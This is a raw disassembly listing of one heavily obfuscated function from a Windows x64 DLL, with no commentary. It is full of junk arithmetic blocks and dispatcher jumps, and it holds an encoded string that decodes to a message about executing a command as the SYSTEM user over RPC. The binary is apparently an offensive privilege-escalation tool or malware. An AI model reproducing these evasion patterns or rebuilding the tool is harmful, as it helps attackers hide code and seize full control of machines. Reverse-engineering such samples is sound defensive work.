lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov edx, 0x3f338db
pushf
not edx
add edx, 0xc6b7f41c
xor edx, 0x811e1952
rol edx, 0xf3
popf
pushf
not edx
add edx, 0xc561b182
xor edx, 0xd4cf92ac
rol edx, 0xe6
popf
lea rcx, [rbp + 0x90]
call fcn.18002815d
test eax, eax
jne 0x180037db3
push rax
pushf
mov eax, 0xf49f6225
pushf
not eax
add eax, 0xe584ea07
xor eax, 0xdad8fcf2
rol eax, 0x76
popf
pushf
not eax
add eax, 0xe998ee2e
xor eax, 0xf7240201
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xec57136b
xor eax, 0xbc58e7c3
rol eax, 0x35
popf
pushf
not eax
add eax, 0xf350a187
xor eax, 0xb553672e
rol eax, 0xb3
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x236ad88c
pushf
not eax
add eax, 0xdaa7c5b7
xor eax, 0xfefecb2c
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xdbef080b
xor eax, 0xd5a545c5
rol eax, 0xa0
popf
jmp 0x1800368e7
cmp dword [rbp + 0x10a8], 0x1c
jne 0x180037e26
push rax
pushf
mov eax, 0xae2049f
pushf
not eax
add eax, 0x8b710e34
xor eax, 0x953d33f6
rol eax, 0x18
popf
pushf
not eax
add eax, 0xeb34a813
xor eax, 0x891ef590
rol eax, 0x7e
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0xf125bd95
pushf
not eax
add eax, 0xba7fe471
xor eax, 0xa4215d15
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xaa720d1e
xor eax, 0xeb029352
rol eax, 0xa4
popf
jmp 0x1800368e7
mov edx, dword [rbp + 0x8c0]
test edx, edx
je 0x180037ebc
push rax
pushf
mov eax, 0x35aed6af
pushf
not eax
add eax, 0xcbb80a49
xor eax, 0xb206a958
rol eax, 0x90
popf
pushf
not eax
add eax, 0xee8319e6
xor eax, 0xbcae98f1
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xd4f0f984
xor eax, 0xaac6c763
rol eax, 0xa
popf
pushf
not eax
add eax, 0xe4f1076f
xor eax, 0xf6952831
rol eax, 0xc7
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0xa97794b3
pushf
not eax
add eax, 0xa4c62ecd
xor eax, 0xa90e0f54
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x86cf1c75
xor eax, 0xad88106f
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xdd132c61
xor eax, 0xbb28c1e5
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xa7e37a67
xor eax, 0xf762ea20
rol eax, 0xf0
popf
jmp 0x1800368e7
lea rcx, [0x1c7b461ad]
pushf
sub rcx, 0x47b2e48d
popf
jmp 0x1800386c1
mov eax, dword [rbp + 0x8bc]
mov rdx, rbx
movups xmm0, xmmword [rbp + 0x8ac]
mov dword [rbp + 0x70], eax
movups xmmword [rbp + 0x60], xmm0
mov byte [rbp - 0x6f], 0x60
mov byte [rbp - 0x6e], 0x57
mov byte [rbp - 0x6d], 0x55
mov byte [rbp - 0x6c], 0x48
mov byte [rbp - 0x6b], 0x62
mov byte [rbp - 0x6a], 0x25
mov byte [rbp - 0x69], 0x4a
mov byte [rbp - 0x68], 0x7d
mov byte [rbp - 0x67], 0x6a
mov byte [rbp - 0x66], 0x68
mov byte [rbp - 0x65], 0x7a
mov byte [rbp - 0x64], 0x79
mov byte [rbp - 0x63], 0x6e
mov byte [rbp - 0x62], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x61], 0x6c
mov byte [rbp - 0x60], 0x25
mov byte [rbp - 0x5f], 0x2c
mov byte [rbp - 0x5e], 0x2a
mov byte [rbp - 0x5d], 0x78
mov byte [rbp - 0x5c], 0x2c
mov byte [rbp - 0x5b], 0x25
mov byte [rbp - 0x5a], 0x66
mov byte [rbp - 0x59], 0x78
mov byte [rbp - 0x58], 0x25
mov byte [rbp - 0x57], 0x58
mov byte [rbp - 0x56], 0x5e
mov byte [rbp - 0x55], 0x58
mov byte [rbp - 0x54], 0x59
mov byte [rbp - 0x53], 0x4a
mov byte [rbp - 0x52], 0x52
mov byte [rbp - 0x51], 0x25
mov byte [rbp - 0x50], 0x7a
mov byte [rbp - 0x4f], 0x78
mov byte [rbp - 0x4e], 0x6a
mov byte [rbp - 0x4d], 0x77
mov byte [rbp - 0x4c], 0x33
mov byte [rbp - 0x4b], 0x33
mov byte [rbp - 0x4a], 0x33
mov byte [rbp - 0x49], 0xf
mov byte [rbp - 0x48], bl
mov al, byte [rbp - 0x6f]
push rax
pushf
mov eax, 0x224a36d6
pushf
not eax
add eax, 0xc2f4bd75
xor eax, 0x88e4d3b2
rol eax, 0xed
popf
pushf
not eax
add eax, 0x8ac8fbee
xor eax, 0x902376e5
rol eax, 0x64
popf
jmp 0x1800368e7
movsx ecx, byte [rbp + rdx - 0x6f]
sub ecx, 5
mov byte [rbp + rdx - 0x6f], cl
push rdi
not rdi
sub rdx, rdi
pop rdi
sub rdx, 1
cmp rdx, 0x27
jb 0x1800380af
push rax
pushf
mov eax, 0xa3e4e2a2
pushf
not eax
add eax, 0x8d0be6dc
xor eax, 0xec1d6fe3
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x976648ea
xor eax, 0xadb6e0f9
rol eax, 0x3f
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0xe66316df
pushf
not eax
add eax, 0xf94bc6bb
xor eax, 0xd5d8b188
rol eax, 0xd
popf
pushf
not eax
add eax, 0xe1db5be7
xor eax, 0xfa4e6331
rol eax, 0x64
popf
pushf
not eax
add eax, 0xe4287904
xor eax, 0x8b4075f1
rol eax, 0x48
popf
jmp 0x1800368e7
mov rdx, r12
lea rcx, [rbp - 0x6f]
call fcn.18004cbf6
mov r8, r15
lea rcx, [rbp + 0xa4]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8, r15
mov dword [rbp + 0x8a4], ebx
xor edx, edx
lea rcx, [rbp + 0x8a8]
call sub.VCRUNTIME140.dll_memset
mov esi, 0x8551703
pushf
not esi
add esi, 0xdebd12ae
xor esi, 0x9c6b9f04
rol esi, 0x53
popf
pushf
not esi
add esi, 0xb5e7fdc0
xor esi, 0xa9e43133
rol esi, 0x3a
popf
pushf
not esi
add esi, 0xf66f8d46
xor esi, 0xf11d3066
rol esi, 0x5a
popf
pushf
not esi
add esi, 0x80123cf3
xor esi, 0xb4efeb0c
rol esi, 0x60
popf
mov dword [rbp + 0x10a8], ebx
mov r8d, esi
mov dword [rbp + 0x9c], ebx
lea rdx, [rbp + 0x60]
mov dword [rbp + 0xa0], edi
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x50], ebx
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x58], ebx
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
lea edx, [rsi + 0xb]
lea rcx, [rbp + 0x90]
call fcn.18002815d
test eax, eax
jne 0x18003821d
push rax
pushf
mov eax, 0x68837657
pushf
not eax
add eax, 0xa52586c5
xor eax, 0xe5f539fb
rol eax, 0x62
popf
pushf
not eax
add eax, 0xde7c9876
xor eax, 0xc11ff21a
rol eax, 0xc5
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x491b5b7b
pushf
not eax
add eax, 0xa7263b91
xor eax, 0xb3fb3701
rol eax, 0x89
popf
pushf
not eax
add eax, 0x89e730a1
xor eax, 0xa63927c5
rol eax, 0x38
popf
jmp 0x1800368e7
cmp dword [rbp + 0x10a8], r13d
jne 0x1800382a3
push rax
pushf
mov eax, 0x2fe0f8a2
pushf
not eax
add eax, 0xbda10648
xor eax, 0xe7184d27
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x96b69596
xor eax, 0xb9d277b4
rol eax, 0x98
popf
pushf
not eax
add eax, 0xa7070250
xor eax, 0x818e2d8c
rol eax, 0xbe
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x8a1e98e4
pushf
not eax
add eax, 0xbc48346f
xor eax, 0x9e6d220d
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x816cf7a7
xor eax, 0xb1a3b5dd
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xe160dca3
xor eax, 0xa5742b05
rol eax, 0xce
popf
jmp 0x1800368e7
mov edx, dword [rbp + 0x8a8]
test edx, edx
je 0x180038339
push rax
pushf
mov eax, 0xa9b4e1ec
pushf
not eax
add eax, 0xf89978a8
xor eax, 0xb63c128f
rol eax, 0x73
popf
pushf
not eax
add eax, 0x992b909f
xor eax, 0x8a28105c
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x8b4d8298
xor eax, 0xdb2f66a1
rol eax, 0x4d
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x392a9095
pushf
not eax
add eax, 0x80117a37
xor eax, 0xf8cbd4c9
rol eax, 0x39
popf
pushf
not eax
add eax, 0x9de98784
xor eax, 0xcc6d1b09
rol eax, 0x97
popf
jmp 0x1800368e7
cmp edx, 0x41d
je 0x1800383a7
push rax
pushf
mov eax, 0xb5b0a47b
pushf
not eax
add eax, 0xe1f15d01
xor eax, 0xdc45063d
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xdd292af8
xor eax, 0xc6fe4737
rol eax, 0xd
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x6815169f
pushf
not eax
add eax, 0xdfdebde9
xor eax, 0xfb8f72d5
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xfd2d79e0
xor eax, 0xc1af502e
rol eax, 2
popf
pushf
not eax
add eax, 0xf027ec92
xor eax, 0xa3e5ad0a
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xe3492de8
xor eax, 0xd6bf7db8
rol eax, 0x70
popf
jmp 0x1800368e7
lea rcx, [0x1f3831c6e]
pushf
sub rcx, 0x73819f2e
popf
jmp 0x1800386c1
mov r8, r15
lea rcx, [rbp + 0xa4]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8, r15
mov dword [rbp + 0x8a4], ebx
xor edx, edx
lea rcx, [rbp + 0x8a8]
call sub.VCRUNTIME140.dll_memset
mov r8d, esi
mov dword [rbp + 0x10a8], ebx
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x9c], ebx
lea rcx, [rbp + 0x90]
mov dword [rbp + 0xa0], edi
call fcn.18004ad9f
mov edx, 0x7cff03f6
pushf
not edx
add edx, 0xed59793e
xor edx, 0xc361cbb7
rol edx, 0xde
popf
pushf
not edx
add edx, 0xf32eecb9
xor edx, 0x81972a6b
rol edx, 0xcd
popf
pushf
not edx
add edx, 0xdb21f899
xor edx, 0xc04b0f9f
rol edx, 0x8f
popf
lea rcx, [rbp + 0x90]
call fcn.18002815d
test eax, eax
jne 0x180038544
push rax
pushf
mov eax, 0xd7890b5
pushf
not eax
add eax, 0xc69c9981
xor eax, 0xc6e65beb
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x81f36d5f
xor eax, 0xafeb7139
rol eax, 0x85
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x88258e15
pushf
not eax
add eax, 0xc541ca57
xor eax, 0xeb040d24
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xaffdf4ae
xor eax, 0x99e5c340
rol eax, 0x22
popf
jmp 0x1800368e7
cmp dword [rbp + 0x10a8], r13d
jne 0x1800385d9
push rax
pushf
mov eax, 0x1c72bd1c
pushf
not eax
add eax, 0xb4cad7bd
xor eax, 0x81db68d4
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x92219ff2
xor eax, 0xfb3d14cd
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb4312c6c
xor eax, 0xb36b99f3
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xdeb5da54
xor eax, 0xef99860f
rol eax, 0xe9
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x2733a494
pushf
not eax
add eax, 0xfd8352ce
xor eax, 0xc9343f6e
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xb0a8b1f1
xor eax, 0x9f519265
rol eax, 0xc1
popf
jmp 0x1800368e7
mov edx, dword [rbp + 0x8a8]
test edx, edx
je 0x180038649
push rax
pushf
mov eax, 0x1e63952
pushf
not eax
add eax, 0x9682fa83
xor eax, 0xea3b9625
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xb62a5bda
xor eax, 0xbb8d1f84
rol eax, 0x14
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x9530ae38
pushf
not eax
add eax, 0x9c354d42
xor eax, 0xaff1eedb
rol eax, 0x80
popf
pushf
not eax
add eax, 0x9d7c3743
xor eax, 0xd486c570
rol eax, 0x28
popf
jmp 0x1800368e7
lea rcx, [0x1c4bcbf2d]
pushf
sub rcx, 0x44bb41d5
popf
push rax
pushf
mov eax, 0xb02f15d
pushf
not eax
add eax, 0xed7af5f8
xor eax, 0xc7aebd1d
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xc1f78174
xor eax, 0xdd3cb543
rol eax, 0xf8
popf
jmp 0x1800368e7
call fcn.18004cbf6
jmp 0x18003876c
mov edi, ebx
push rax
pushf
mov eax, 0x78cd48fe
pushf
not eax
add eax, 0xccba966d
xor eax, 0x8f82a718
rol eax, 0x54
popf
pushf
not eax
add eax, 0x8eeb5b5f
xor eax, 0xeba14c72
rol eax, 0x84
popf
pushf
not eax
add eax, 0x96801726
xor eax, 0xc8b28685
rol eax, 0x99
popf
jmp 0x1800368e7
mov rcx, qword [rbp + 0x90]
jmp 0x180038774
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x3441c048
pushf
not eax
add eax, 0xb8d34f0e
xor eax, 0xeb4a598b
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb4132d39
xor eax, 0xb898076b
rol eax, 0x37
popf
jmp 0x1800368e7
mov rbx, qword [rsp + 0x2610]
mov eax, edi
add rsp, 0x25d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret